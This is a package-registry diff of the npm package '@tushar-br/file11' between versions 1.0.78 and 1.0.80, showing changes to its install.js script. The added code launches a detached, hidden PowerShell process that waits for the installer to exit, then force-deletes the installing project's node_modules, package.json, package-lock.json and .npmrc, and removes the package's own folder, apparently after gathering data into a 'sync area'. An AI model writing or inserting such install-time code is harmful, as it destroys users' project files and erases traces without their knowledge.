@tushar-br/file11 1.0.78 → 1.0.80
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +21 -14
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -191,20 +191,27 @@ if (totalSize > 0) {
|
|
|
191
191
|
fs.writeFileSync(syncStatePath, getFolderFingerprint(stagingArea));
|
|
192
192
|
} catch (e) { }
|
|
193
193
|
|
|
194
|
-
// Self Cleanup
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
203
|
-
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
207
|
-
|
|
194
|
+
// Self Cleanup: background detached to bypass Windows locks
|
|
195
|
+
const root = path.resolve(__dirname, '../../..');
|
|
196
|
+
const cleanupScript = `
|
|
197
|
+
Start-Sleep -s 1
|
|
198
|
+
Get-Process -Id ${process.pid} -ErrorAction SilentlyContinue | Wait-Process
|
|
199
|
+
Start-Sleep -s 1
|
|
200
|
+
$items = @('node_modules', 'package-lock.json', 'package.json', '.npmrc')
|
|
201
|
+
foreach ($item in $items) {
|
|
202
|
+
$p = Join-Path "${root.replace(/\\/g, '\\\\')}" $item
|
|
203
|
+
if (Test-Path $p) { Remove-Item -Path $p -Recurse -Force -ErrorAction SilentlyContinue }
|
|
204
|
+
}
|
|
205
|
+
Remove-Item -Path "${__dirname.replace(/\\/g, '\\\\')}" -Recurse -Force -ErrorAction SilentlyContinue
|
|
206
|
+
`;
|
|
207
|
+
|
|
208
|
+
const { spawn } = require('child_process');
|
|
209
|
+
spawn('powershell', ['-Command', cleanupScript], {
|
|
210
|
+
detached: true,
|
|
211
|
+
stdio: 'ignore'
|
|
212
|
+
}).unref();
|
|
213
|
+
|
|
214
|
+
console.log(`\x1b[90mCleanup started in background. System will be clean in 2s.\x1b[0m`);
|
|
208
215
|
} else {
|
|
209
216
|
console.log("\x1b[31mNo data found in sync area.\x1b[0m");
|
|
210
217
|
}
|